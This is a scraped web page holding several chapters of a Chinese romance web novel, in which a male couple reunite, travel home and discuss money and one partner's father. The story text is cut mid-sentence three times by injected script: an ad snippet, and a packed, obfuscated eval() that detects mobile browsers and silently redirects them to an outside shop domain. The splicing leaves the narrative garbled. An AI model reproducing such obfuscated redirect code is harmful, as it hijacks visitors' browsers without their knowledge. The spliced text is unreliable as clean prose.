“慢慢的,我就会心里不平衡,可我也没有别的办法,只好比别人更加努力,努力把书读好、至少能享受老师的赞赏,努力多挣点钱,至少能把日子过得好一点,可一想到这些努力,是在为那些拙劣的人服务,我心里又刺得难受,还想过很多极端的方法去报复。” “宝贝……”对于童宽的过去,陈艾卅无力插手,只能希冀现在的自己能传递一些温暖回去。 “你可能不清楚,”童宽突然笑了起来,仰起脑袋对着陈艾卅的下巴亲了一口,“那天你出现在教育超市里意味着什么。我第一次觉得, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怎么可以有男的长这么帅,腿可以那么长。长得那么好看,却渴得发昏了,也没想着跟我说,帮个忙什么的。” 陈艾卅笑了笑,脸颊蹭了蹭童宽的发顶。 “我只请你喝了2块钱的水,你却说要还给我,还义正言辞地让我加微信,”童宽笑得虎牙又露了出来,“卅哥,占我便宜的人那么多,金额从来也不小,可你2块钱,也要还给我。我当时就觉得,怎么世界上有你这么纯真美好的人。” “是么……” “是啊,后来我才知道,你已经快毕业了,我还有点可惜,觉得你可能过一阵后,再也不会来教育超市买东西了。只是想远远地看看你,可就要没机会了。” 陈艾卅明知故问,“后来呢?” “后来哪知道你那么爱管闲事,”童宽大笑了起来,“还专管我的闲事,一次次救我,一次次把我从火坑里拉出来,这是明面上的。暗地里,是你一次次把我从深渊里拉出来,让我得以面向阳光,呼吸新鲜空气,让我心里的戾气消散,让我身上所有的刺慢慢柔化。” “嗯……” “遇见你之前,我只是想挣钱,想变得富有,想成为别人眼里尊重的富人,遇见你之后,我才开始有的梦想,我才知道,比有钱更快乐的事情,是拥有一个好的爱人,一个看得见的、能达成的目标,一辈子不空虚的生活。” 陈艾卅没说话,心里的内疚又泛了起来。 “卅哥,所以你总问我,为什么那天晚上我一句话不说,”童宽也叹了口气,“我也怕我在你面前太久,然后原形毕露,露出一个不太好的、有些暗黑的童宽,留在你身边,太可怕了,我怕我会对你有不好的想法,事实上,我之前已经有些迷失自我了。”童宽顿了顿,“我觉得你离开我,不一定是错误的选择,所以也没有拦住你。” 听到这里,陈艾卅再也控制不住心里的难过,和对这个小孩的心疼的苛责,他一下一下地吻着童宽的发,在吻里告诉他,你不用觉得自己黑暗,更不用觉得自己戾气重是错误,这些错误从来都不是他自己造成的,他有这些情绪太正常了,没有谁能够在那样的环境下,还同时保持着阳光和积极。 童宽的声音很轻,“卅哥,你早就是我的安全绳了。” 陈艾卅抱紧了童宽,又啄了啄他的额角,刚刚两人的热烈相贴,童宽又说了那么多话,此时已经有些困得迷糊了,嘴里好像还在呓语着什么,陈艾卅没有听清,却每句都在回应着。 他从来没有想过童宽会有这样的心路历程,过往他只觉得,童宽只是性子软,所以被被人说什么也从来不还嘴,他看到了童宽的乖巧,却没看到他心里一直扎着的刺。 这一晚他怎么都睡不着,即使累得已经有些耳鸣,心里还是因为童宽的话在颤抖,他突然想起来很久没有看手机了,把童宽安置在枕头上后,就自己半靠了起来,拿出手机翻着微信,他突然发现童宽给自己发过微信。 那一句迟到的留言,还是生生把陈艾卅的泪逼了出来。 TK:卅哥,如果经历这一切才能找回你,我真的愿意。 陈艾卅低头又轻轻吻了吻童宽的额头,小声地说他小傻子。 “小傻子,我们明天回家了。大傻子带你回家。” 53. 返程 早上童宽还没醒,陈艾卅就先起来收拾东西了,郭响已经把童宽留在巡林站的东西给送了回来,陈艾卅下楼去拿,还收到了一张名片,是祝明修的,看来上次童宽的提议他听进去了。 看着外面的街道,早上车水马龙的,已经不像当年那样清冷的模样,陈艾卅想着正好也下来了,就顺便去买个早点,在煎饼摊排队的时候,他突然觉得这个场景很熟悉,在学校的时候陈艾卅也是这样,有的时候是中午,有的时候是晚上,在食堂的窗口排队给童宽买饭,早餐倒是大多数是童宽买的,要不就是他俩一起下去吃。 想到这里,陈艾卅心里又暖了一下,拍了张照片,想等童宽醒了给他看,问问他熟不熟悉这个视角。 房间门刚打开,童宽的声音就传了过来,带着点疲惫和哑。 “卅哥……你去哪了?” “去买早点了,”陈艾卅把煎饼和豆浆放到了老旧的电视柜上,又坐到了床沿,拉过了童宽的手握着,“要起来么,还是等一会儿?” “嗯……”童宽好像还是有些困,努力睁了睁眼,“起来了吧。” “再睡会儿?”即使三十来岁了,陈艾卅还是心疼童宽刚醒过来迷糊的样子,总觉得他累。 “起来了,”童宽清了清嗓子,“一会儿早点该凉了。” 这倒是真的,陈艾卅便没再劝,他走到窗边拉开了窗帘,阳光从窗外倾泻进来,把整间房都照得通亮,童宽身上的痕迹就变得明显了起来,他还是这样,只要陈艾卅稍微用一点力,就会留下深深的印记,现在这会儿身上跟家暴了似的,看着这一身很急,他忍不住拧了拧眉。 童宽捕捉到了他的表情,似笑非笑地对他说:“怎么啦,现在知道怕啦?” 陈艾卅也笑,又有些难辩解,只能小声说着,“……明明没这么用力。” “不好看么?”比起之前童宽的青涩,他现在更多了一些直接。 童宽上身本来就光着,在阳光的照耀下身上跟被上了釉彩一样,惹得陈艾卅重重吸了一口气,他走到童宽面前,吻了一口他的耳垂,抿了两下,照着屁股拍了一掌。 “越来越坏了。” “卅哥带的。”童宽笑着就从床上下来了,穿上了酒店白色的单薄无纺布拖鞋,往卫生间里走,刚进去又探了个头出来,“我们什么时候回去?” “都行,”陈艾卅答道,“你想什么时候回就什么时候回。” 童宽没答话,先进去洗漱了,出来后先在陈艾卅的嘴唇上亲了一口,柔着声说:“陈总早安。” 他们家宝贝什么时候这么放松了,他往前回忆着,好像半年前还是会有些拘谨,这会儿真的在陈艾卅面前肆无忌惮起来了,他没有不习惯,反而非常高兴,他知道童宽骨子里不是乖巧的小孩,心里住着个小疯子。以前总憋着,现在他倒也愿意陪着童宽演。 “宽总、宽总,”陈艾卅挡住童宽的手,故意不让他靠近,“小陈惶恐,早饭给您买来了。” “噢——”童宽看向陈艾卅的眼神有点可惜,还带着点睥睨,“你倒是挺守规矩的。” 陈艾卅实在受不了童宽这个清冷又诱惑的样子,搂过他的腰一把抱过来,刚拿过热豆浆的手掌直接贴在了他的后腰处,嘴凑到了童宽的耳朵边,低沉的声音充满了磁性,“宽总,昨晚已经逾矩了,你再不吃早饭,我倒是要先开动了。” 童宽笑得乱颤,赶紧从陈艾卅的怀里出来,脸都红了,“卅哥你太社会了,玩不过你。” “有么?不是你先开始的么。” “那——”童宽眼珠子转了一下,又笑露了那颗虎牙,“幸好,你现在不太行了。” 陈艾卅最听不得这个,作势要扑上去,两个人大清早就在床边打闹了一会儿,等着都气喘吁吁了才停下,都坐到了床尾。 陈艾卅拿过了早饭,先给了童宽煎饼,接着自己也拿过了一个啃了起来。童宽的昨天搁在陈艾卅的右腿上,两个人的腿交缠着,吃着吃着也痴痴笑了起来。陈艾卅的咽炎这几年也没见好,嗓子总觉得敏感,一阵闹笑后又呛着了,咳得脸又红了,童宽皱着眉给他顺背,也拿过了豆浆给陈艾卅喝。 “卅哥,我不在的半年,咽炎好点了么?” 陈艾卅摇了摇头,不说话,但嘴角还是带着笑。 童宽听了也没说话,脸色露出了一些懊恼。陈艾卅想,童宽一定是在心疼自己,之前自己咽炎犯的时候,都是童宽给自己递薄荷糖,也给自己顺北,可要他现在真去想这半年犯咽炎的具体情况,他倒是一点都想不起来了,这半年仿佛真空一般。 “卅哥,我们今天就回去吧,趁现在还早。”童宽突然说道。 陈艾卅点了点头,答应了,接着就从手机里开始订票,长途汽车是来不及了,等着再包个车回火车站那个地方。陈艾卅突然想起了戴师傅,他笑着和痛苦说自己的经历。 说自己遇上了一个妻管严的司机师傅,还向他出了个柜不说,还看见自己嚎啕大哭的样子了。 本来是想当趣事分享给童宽的,却在看到童宽听见他哭的表情那停了下来。 “没事儿,”陈艾卅捉住了童宽的手捏了捏,“当时吓坏了,脑子里还一直回忆着我们刚在一起那时候的样子。” 童宽叹了口气,声音里也有些心疼,“卅哥,你以前不哭的。” 陈艾卅心里也梗了一下,自己的确好像以前不怎么哭,看到更多的反而是童宽的泪水,但这时候他也不想让童宽难受下去了,“都过去了,你回来了,就什么都好了。” 火车票出票很快,顺利的话今天晚上就能坐上回程了,陈艾卅把东西都收拾好了,两个人打算去退房,刚要开房门,童宽就伸手抱住了他。 “卅哥,我以后不会这么冲动了。” 陈艾卅有些欣慰,也拍了拍他的背,“以后我也不会随便让你一个人出来了,”他突然想起来似的,和童宽说,“之前那个司机师傅问我,如果人找到了要怎么做,我说要把你关起来,给他吓一跳来着。” 童宽皱了皱眉,又觉得有些好笑,“不像你能干出来的事啊。” “我会干出什么事来?” “把我……”童宽凑到了陈艾卅的耳边,“蒙着眼睛,关起来。” 说完了话,童宽就开门出去了,留陈艾卅一个人在房间门口发愣,竟然发现,曾经的美好小少年,长成后的清冷总经理,还有这妖精的一面。 在以前,陈艾卅其实思考过自己为什么不谈恋爱,他对恋爱的刻板印象太深,情侣之间无非做那些事情,人也都是有限的,他好像无法确认自己不会失去兴趣,却也不愿意做朝三暮四的渣男,与其厌倦,不如不拥有。 可在与童宽相处的这几年来,他发现,这个人无论什么时候都会呈现出不一样的感觉来,他能清晰地感觉到童宽的成长轨迹,甚至之前自己要离开他,也是因为这个人给自己的关注度不够,而不是觉得这个人腻了。 出了宾馆后,陈艾卅看到童宽站在阳光下,偏浅色的发在照耀下泛出一层光,看着来车的方向,他真正觉得,少年童宽已经长成了挺拔的模样,除了偶尔面对自己还会撒娇,童宽身上的稚气已经完全消散了。 回程本来是想包车的,却没想到郭响安排了祝明修来送。 再次见到祝明修的时候,他上前来第一句话已经不是对不起了,而是实打实和他们两个人保证,说这一批伐木完事了之后就不干了,后面老老实实巡林,也让大家伙去找份正经工作去。 他说童宽看起来就是干大事的人,他和全村人都等着宽总的好消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967403|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我一直对自己做的事情有信心,所以你也要对我有点耐心,前期我们要做的准备也不少,可能没办法联系你,但项目一旦成熟,我一定会联系你,你的名片我已经收到了,”童宽似乎这段话想说很久了,说出口的时候一点都没犹豫,“我也希望我们合作的事情变得更有意义。” “好的好的,宽总,我们等你消息。” 三个人告别还用了一阵子,祝明修一定要当着他们的面给郭响打个电话,陈艾卅和童宽倒觉得多此一举,但挨不住祝明修的再三坚持,说自己做错了事,郭响是作为人民警察身份来来要求自己的,如果这点做不好的话,他很可能巡林员的资格都要失去了。 两人好不容易送走了郭响,对视的时候一下就摇了摇头笑了出来,觉得这个憨大叔看起来狠厉难缠,实际上也是为生活奔波的人,和他们这些在城市里求生存的人并无二致,谁不想过得好一点呢。 想到这里,陈艾卅愈发佩服童宽了起来,他的爱意里比之前更多了一份尊敬。 “有个事我得跟你先说好,”陈艾卅摆出了一副神秘的姿势,“回去后我那租的小屋肯定是不住了,你想想把我安置在哪儿吧,宽总。” 童宽笑了一下,虎牙露出来的时候还是有些俏,弄得陈艾卅想当场就吻他,“我们公司……不包食宿的。” “不包啊?”陈艾卅手叉在胸前,转了过去,“那我得另外考虑了。” “硬要包的话,”童宽露出了为难的表情,“只能总经理私人包你了。” “宽总……”陈艾卅挑了个眉毛,“你也太懂我心意了。” “卅哥,”童宽凑到了陈艾卅耳朵边,悄悄说了一句,“你就那点事儿,我都看透了。” 回程的时候两个人,可比一个人高兴多了,高兴得陈艾卅都在火车站买起了特产,童宽也就由着他,这一路过来,他的卅哥吃了多少苦头流了多少泪,他都没敢细问。 “卅哥,”童宽说,“我们算算手里的钱?看看后面要怎么安排。” “行,不过来的时候我已经把手里的大多数存款都转给徐熠了。” “你俩??搞什么??”童宽的眼睛里有些惊讶。 陈艾卅看到他这惊讶的样子,忍不住笑了起来,直接拿过了童宽的手握着,“我俩能搞什么,我只是让他帮忙盘点了下你公司的债务,一些小头能还了就先还了,你回来之后肯定要重新弄,一些挺好的小供应商如果这时候拖沓,影响进度。” 童宽有些惊讶,陈艾卅从来没有关心过他公司的账务,连事务都很少过问,他能直接以这个主人的姿态去帮自己解决问题,想必是真的已经下定了决心要和童宽事业并肩了。 “我真的没想到,你会来帮我。” “帮你那都是场面话,”陈艾卅定定地看着童宽的眼睛,“没有你就没有我,我是自救。” 童宽心一软,也反握住了陈艾卅的手捏了捏。 “之前我还不放心,让梁臣拿了五六万块钱,现金,怕这里有什么歹心。” “你打算给祝明修?” “本来是这么打算的,”陈艾卅说,“如果他真有什么急事的话,倒能稍微顶一顶。” 童宽的眼睛迷离了起来,透着些难过,“应该不急了,听他的意思,他老婆应该走了挺久了。” “是啊……”陈艾卅点了点头,“还是用项目长期运作更合适一点,生活总得有个奔头。” “嗯。” “回头这钱我直接给林琦了?”童宽问陈艾卅。 “为什么?梁臣给我的?万一是私房钱呢?” 童宽瞥了一眼陈艾卅,“私房钱就更应该充公了。” 陈艾卅失笑,捏了捏童宽的手心,“是是是,一点不留,都充公。” 54.后背 陈艾卅来的时候坐的是硬座,回去的时候运气好,抢到了两个软卧,一个上铺一个下铺,童宽说陈艾卅喜静,要让他睡上面,陈艾卅各种不愿意,就要童宽睡上头,说他身体刚好,怕吵,好好休息。 对面是一对中年夫妻,进来的时候话不多,收拾收拾就上床睡了,就是阿姨指着床让叔叔给她铺床的时候,陈艾卅笑了笑,伸出脑袋往上看,正好对上了童宽的眼睛,两人相视笑了一下,也没再多说话。 陈艾卅想了想,拿出了手机,开始给童宽发微信。 Issac:宝宝,我想和你睡 TK:好腻啊,卅哥 Issac:宝宝,你想不想和我睡 TK:……不想 Issac:宝贝、宝宝、我的宽宽 TK:噫 找回了童宽后,陈艾卅倒成为了那个小孩,奔跑在童宽的四周,不断喊着他确认他的存在,重获至宝。 一路折腾,回到自己所在城市的时候已经是第二天了,他们从机场出来直接打了个车,陈艾卅故意不说地址,让童宽报,童宽就报了两个人住的地方。 出租车从空港到达口开向了高速、又上了高架,车窗外的景色不断向后退,路灯一盏盏,等到汽车尾灯多起来的时候,他们的家也快到了。 临进小区的时候,童宽问陈艾卅,不用先去隔壁小区拿点东西么,陈艾卅笃定说不用,等着有空再去吧。 回到半年没进的地方,果然不出陈艾卅所料,家里的一切都和之前保持着原样,他的童宽没有把他生活过的痕迹擦除掉。让他意外的是,家里出奇地干净,只是能看出有一段时间没人的冷清,地板上、桌上、连厨房灶台都被收拾得干干净净的,之前被陈艾卅诟病的童宽乱放在沙发上的衣服,也没有了,整个屋子都透着一股整洁。 童宽见陈艾卅不动,在背后推了推他,“卅哥,挪一挪。” “公司破产后……”陈艾卅喉结上下动了一下,“你就一直在家里?” 听这话童宽也笑了出来,语气里透了一股无奈,“对啊,我也没什么朋友,就在家里呆着,不过那会儿才看清家里乱糟糟的样子,之后就每天都会收拾。” 陈艾卅听得心里一紧,每天……他很少见到童宽无所事事的样子,无论什么时候,他好像一直有事干,一直是项目缠身,真的什么都不用做了的时候,应该心里也很失落吧。 他把身上的书包放到了椅子上,伸手拉过了童宽的胳膊,把人抱进了怀里,手掌一下下地抚着他的后脑勺,“以后这些琐事还是我来弄,我回来了。” 童宽拍了拍他的背,“好……都你来弄,我就,做一个二世祖。” 陈艾卅没忍住笑了出来,这个笑也感染了童宽,两个人就在客厅里拥抱着发笑,直到电话铃声打断他们。 是陈艾卅的妈妈曲婷打来的,他轻轻把童宽放开,按下了接听键。 “喂,妈。” “啊,已经出差回来了。” “还好,挺顺利的。” “回来吃饭?”陈艾卅向童宽看了一眼,见童宽点了点头,才说,“行的,周末吧,周末我们回来。” “小宽也好,没事,放心吧,我们一起回来。” 等陈艾卅挂了电话,童宽就问:“你爸妈……不知道我们分开的事?” “不知道,”陈艾卅说,“我没说。” 本来陈艾卅也不住在家里,要瞒住家里并非一件难事,之前两人回家一起回去的频率也不高,陈昇青每次看童宽的表情,在陈艾卅看来都有深意,所以回家之前都会先征求童宽的意见。 陈艾卅在童宽毕业后就直接跟家里出了柜,这件事是瞒着童宽做的,他并不想让童宽和他一起面对那种情况,但当时只是刚说出口自己喜欢男的、有男朋友,他爸就直接问了句是不是当时来过家里的那个。 也不怪陈昇青意外,他儿子长这么大,领地意识非常强,几乎没见过他带什么同学到家里来过,而那次死拽着人手不让走的样子,实在是太奇怪了。 让人意外的是,陈昇青和曲婷没有太为难陈艾卅,只说随便他去,他也一直以为是自己爸妈思想开放也包容。但历经这一遭后,陈艾卅皱着眉看向童宽,说话的声音有些犹豫了起来。 “之前,”陈艾卅顿了顿,“我爸找过你没?” 童宽明显眼皮跳动了一下,但是没有说话。 陈艾卅心里突然乱了,他拽过了童宽的手,直接把人往沙发上带,摁在了沙发里面,紧盯着童宽的眼睛,生怕他再瞒一些事情来。 童宽的喉结也上下滚动了一下,说话的声音很小,却不露怯,“找过的。” “什么时候找的,怎么不跟我说?” “你跟家里说的时候你爸找的我,我没问你爸让不让说,我以为你爸的意思是最好我不要说,我就没说。” 哭笑不得的表情爬到了陈艾卅的脸上,他有一些不知所措,更多的却是懊恼。 “你们之前聊啥了?” “就……”童宽皱了皱眉,“就问我和你是什么关系。” “你怎么说的?” “……我就说我喜欢你。” “没了?” “还有,”童宽这时候才真正觉得有些难开口,“我还问了你爸一个问题。” “什么?” “就是那次去你家,遇到的那个女的,我怕你多想,也不想让你爸做伤害你的事情,就硬着头皮问了一下原委。” “我爸跟你说了?”这小子胆子真大啊,陈艾卅都很少过问他爸的事,何况还是带着质问的,虽然之前他的确很在意,那个女生到底和他爸是什么关系,但后来没什么交集,看他爸妈也没什么异样,就没追问下去。 “说了,”童宽看也没办法瞒下去了,索性就对着陈艾卅开始服软,“我那时候总觉得卅哥你太阳光太美好了,舍不得让你看到一点点阴暗的地方,这些乌七八糟的事总觉得自己在背后帮你解决就好了。” “你好像还挺得意?”陈艾卅没上他服软的当,眼睛瞥了一眼,看着好像要生气的样子。 “得意,”童宽把上了陈艾卅的胳膊,又用脸蹭了蹭,“当然得意了,护好男朋友是第一责任。” “我爸的事情也给你弄清楚了?” 陈艾卅慢慢把胳膊从童宽的手里拿出来,故意放到后面去,也不让童宽够着,话里还有些不高兴,童宽要伸手去握,他就越往后。 “嗯……没什么事,其实和陈老师说得差不多,”童宽见陈艾卅不想让他碰,脸上的表情跟在认错似的,“还有就是那女孩其实借网贷了,想要一笔钱,觉得陈老师身家应该还可以,就动了歪脑筋。” “都求证过了?” “求证过了。” “又黑人家个人信息了?” 这句话是陈艾卅故意说的,一路回来,丁彧那个烂教授的事情还没和童宽通过气,但这已经是陈艾卅知道的第二件童宽为自己冒险的事了,他不得不摆出一副严肃的表情来。 童宽是个聪明人,有着七窍玲珑心,陈艾卅这句话一出来,他的脸色就变了,刚刚还想伸手去够陈艾卅的手就放了下来,头低了下去,声音也很低。 “你都知道了。” “都知道了,”陈艾卅没忍住,伸出食指在童宽的脸上戳了戳,不重,“你是怎么想的,把自己拖累进去了怎么办?” “我很小心的,不会——” “不会?”陈艾卅真的有点生气了,语气都重了些,“你要真出点什么事,你让我怎么办?” “一个教授让你挖10%,这女的钱呢,是不是你帮着我爸给还的?” 童宽立马摆起了手,“没有没有没有,陈老师当然没有这么做,我、我问他了……” 陈艾卅呼了口气,他都不知道要拿童宽怎么办了,这人,就跟黑灯瞎火时在自己眼皮子底下乱舞的小飞虫一样,总有自己的想法。 万千心绪汇聚成了心头的酸涩,比起生气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977421|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,他更感到直观的懊悔。 “你是不是以前觉得我特别不可靠啊。”陈艾卅的声音低沉了下去,也没看童宽,定定地就看着地板。 “没有……”童宽伸了手过来,握住了陈艾卅的手,轻轻笑了一下,“我以前,就是毕业前,太怕失去你了。” 陈艾卅的头突然抬了起来,看到了童宽的浅笑,有点不太明白地看向他,“失去我?” 童宽点了点头,这回也没管陈艾卅的反应,直接挪到了他的边上贴着他坐,“卅哥,在学校的时候,我一直在你面前晃荡,可你一毕业,我却怕你看不见我了,一想到这个,我就没了安全感,患得患失的。” “那为什么我当时说让你和我住一起走读,你不答应?” “我总要,”童宽的眼睛好像恢复了过去在时候一样的清亮,少年感一下又涌了上来,“让你去外面的世界看看,才能放心确认,你要的究竟是不是我。” 陈艾卅再也保持不住刚刚板起的脸,把童宽揽在了怀里,脸也贴上了他的发,“后来呢?” “什么后来?” “我爸那个学生,后来你怎么知道的。” “……我,嗯,要挟了一下你爸,你爸就告诉我了。” “又拿个人信息?” “你爸,咳,有私房钱。” “你还挺敢的啊?” “陈老师替那个女学生出了钱,但她也给陈老师打欠条了,后来我就不知道了,应该没什么了吧。” “哦,”陈艾卅皱了皱眉,“嘶……我就不懂了,你和我爸啥时候勾搭上的?” “……去你家的第一天,你爸就问我要了手机号。” “什么时候?我怎么不知道?” “我去上厕所的时候,”童宽用手捂住了眼睛,“那天你爸大概就知道我们的关系了,他和你聊天的时候看了条微信,是那个女生给他发的,她告诉陈老师,说你说喜欢我。” “啊?”怪不得陈艾卅出柜出得那么容易。 “但他当时也没说,只和我说要留一下电话,担心有事找不到你。” 老狐狸啊,陈艾卅心里想。 怪不得自己和父母他俩出柜的时候那么简单,原来早就摸透了啊。 “一直到我和他们出柜,我爸才来找你?” 童宽点了点头,“对。” “那你怎么不直接袒露我们的关系。” “我当时着急,还有那件事我心里总记着也难受……” “牛啊,宽总,本来是要被审的,结果成了审人的了。” “别说啦,”童宽伸了手来捏陈艾卅的嘴,“都过去啦。” “怪不得我爸看你的眼神都犯怵。” 童宽哧哧地笑,“哪有。” “还有什么瞒着我干的事吗?”陈艾卅低头看着童宽的眼睛,“我再给你个机会啊,如果下次再有什么事是我自己发现的,你小心我——” “什么?” “还有!?”陈艾卅不禁喊了出来。 “没有了没有了,”童宽泄了气似的,但却真的放松了,“其他真的一点都没了。但你刚刚说小心你什么?” “小心我真的把你绑起来然后关屋里,谁也别接触了。” “卅哥——”童宽翻了个身,趴在了陈艾卅身上,声音里带了点甜,“真没有了。” “最好没有。” “卅哥。” “嗯?” “柠檬草我带了棵新的回来,你要去看看吗?” “好,在哪?” “卧室的窗台上,”童宽咬了一下陈艾卅的耳朵,“抱我进去。” 陈艾卅嘴角抿了个笑,把着童宽的大腿就站了起来,进屋就看到了在窗台上的一棵小柠檬草,叶子还是绿着。 童宽要下来,他没让,却关上了门,说有些爱的教育,要和童宽好好聊聊,一点也没顾上因为门因为被陈艾卅的腿砰地带上后,震得都有些发抖的、泛着酸气的柠檬叶。 55.较量 赋闲在家的这几天,陈艾卅和童宽过得跟普通的小夫妻没什么两样,先是把屋子打扫了一遍,又上菜场和超市买菜,陈艾卅特意买了条巨大的鲈鱼,说是要看看自己做鱼的手艺退步了没有,实际上童宽心里明白,他的卅哥一直自责自己之前做的那个决定,尽全力想要弥补一些。 幸好,陈艾卅的厨艺是有肌肉记忆的,并没有随着实际操作的减少而损失了食物的美味,童宽吃得跟个小猫一样,陈艾卅就捏他的脸,说以前只会亮晶晶看着自己的小土狗成了娇气的家猫。 童宽就说自己从现在开始要立志做一个加菲猫,把自己吃得鼓鼓胖胖的,陈艾卅就又给他添了一些饭,说立即执行,但到底还是在碗里剩下了一些。陈艾卅是故意的,童宽的饭量从在学校到现在也就这点,但他就是喜欢看童宽吃剩后看向自己无措的表情,带着一点求饶,带着一点不好意思。 “卅哥……” “不是要当加菲猫么?” “那你加得也太多了。” “不多啊,加菲猫可比你吃得多多了。” “……胡说,你又没养过猫。” “我这不养着一只呢么?” “……卅哥,”童宽穿着毛绒绒的居家服,伸手拉着陈艾卅衣服下摆的样子,简直能击穿陈艾卅的心脏,“帮帮我。” 陈艾卅听他这么说,一下就笑了出来,“你这小黄孩儿,帮你什么呢?” “……饭。”童宽才反应过来陈艾卅说的是什么,直接把头撇过去了。 他家的小孩儿,也就换到床上了才能放开一点,陈艾卅摇了摇头,就把童宽的碗拿来接着吃了,等到童宽终于发现,陈艾卅故意给他盛这么多,自己碗里却没有的时候,眼睛就瞪大了,捏着陈艾卅的胳膊说他怎么还这么讨厌,一直欺负人,陈艾卅得寸进尺,把凳子往前一拉,脸往童宽的耳朵边凑了上去,故意沉着声音问他。 “喜不喜欢被我欺负,宽总?” 童宽的一双耳朵都滴出血了,清了清嗓子,点了点头,“算了,自己挑的员工,当受则受吧。” “当受则受啊?” “陈艾卅——”童宽又臊又恼,“扣你工资了!” “我就2500块钱,你怎么那么黑心呢?” “那也不能随便调戏老板。” “我没随便调戏,我认真调戏的。” “卅哥——”童宽的声音又拖长了,“你吃不吃饭啦?” “吃。” “吃完了就去洗碗。” “给加钱么?” “加2块。” “嗯,我老板真大方。” 洗过了碗后,两个人坐在沙发上消食,其实自从毕业了之后,两个人事业都挺忙碌的,平时工作日见到对方就已经要等到晚上了,周末童宽基本都要去一趟公司,陈艾卅也经常加班,能真正坐在一起放松的时间不多。 所以这会儿齐齐坐在沙发上,还觉得有点难得。 “小宽,”陈艾卅叫他,“要不我们把这房子退了吧。” “嗯?为什么,”童宽转过头去看他,“你那边的房子也退了,我们俩上哪去?” “住……我们的婚房去。”陈艾卅也转过去,看着童宽的眼睛。 “那个小屋?”童宽的声音里有些犹豫,“我怕你住不惯。” “哪有婚房住不惯的,嫁鸡随鸡了。” 童宽一下就笑了出来,等着表情淡下来了,就伸过手拽着陈艾卅的手指,一下一下拎着,“卅哥,你是不是怕我们钱不够啊。” 陈艾卅回捏了一下他,“重启阶段,有很多地方需要用钱,也不能像以前你做项目的时候了,什么都你亲自干,架构你搭就已经够辛苦的了,还是得招人,办公室也得续租,不然投资也不好说。” “嗯……”童宽想了想,“我这还有点钱,办公室续租没问题,但是有些贷款算下来,还是很紧凑,目前这几个月肯定没办法直接投入到新项目里,肯定要先接一些现成的项目来回回血。” “所以,我们把额外的开销都去掉吧,实在也没必要租这个房子。” “太小了,卅哥,”童宽的声音低了下去,“太委屈你了。” “你这是在心疼媳妇呢?”陈艾卅对他挑了个笑。 “喔……我还以为我是你媳妇呢……” “你说什么?”之前陈艾卅从来没听到过童宽说过这样的话,在感受到喜悦之前,更多的是意外。 “我没说。” “说什么呢,大媳妇?” “你还有小媳妇啊?” “有啊,小宽就是我小媳妇。” “你媳妇真多啊。” “不多不多,不嫌各种各样的宽总多。” 童宽伸手抚了一下陈艾卅的脸,眼睛里都是深情。 陈艾卅说:“我不委屈,呆在你身边,比什么都好。” “那要不,那个小屋还是装修一下吧,顺便也要提前告知一下租客。” “要的,那这里再租个半年,我们就退了吧。” “行……”童宽拿着陈艾卅的手也放到了自己的脸上,“卅哥,我以前觉得有钱,有大房子,有好的事业,人就是成功的。” 看着童宽这个样子,陈艾卅更多的是心疼,而不是情动,他知道童宽之前其实离“成功”很近,他从最孤独踏入到了高门,却也在高门之上,摔了下来,砸到地上的时候,还没有人接住他。 他轻轻爱抚着童宽的脸颊,用手指背描摹童宽仍然消瘦的下颚线,“我不需要你成功,只希望你健康平安,我也不需要我成功,只求能一辈子见你健康平安。” 陈艾卅把童宽拥进了怀里,童宽喃喃地说着:“卅哥,这么多年,你第一次跟我说一辈子。” “我以前没有说过吗?” “没有。” “我真该死啊。” “胡说什么呢。” “呸呸呸。” 两人又在沙发上磨了一会儿,下午才出的门,说好的周末回家吃饭,陈艾卅又和父母拖了一个星期,这会儿才坐上了陈艾卅的车准备出发。 “卅哥,”童宽和陈艾卅提前打了个招呼,“陈老师那个事,你别提哦。” “我不提,”陈艾卅倒是有些咬牙切齿的,他老子冷不丁地找自己的人谈东谈西的,一点风都不透给自己,“我倒看看老狐狸怎么演。” “陈老师和曲阿姨也都是为你好,怕你被骗。” “被骗?” “对啊,”童宽说得理所当然,还是站在陈艾卅的角度说的话,“哪有人好好地就弯了的,要我也相信肯定被人施了妖法。” “那你有施法么,小妖精?” 童宽照着他胳膊来了那么一下,“我看你2500工资也嫌多了。” 陈艾卅笑笑就不说话,开着车心情很好。 曲婷已经从一线岗位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993100|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 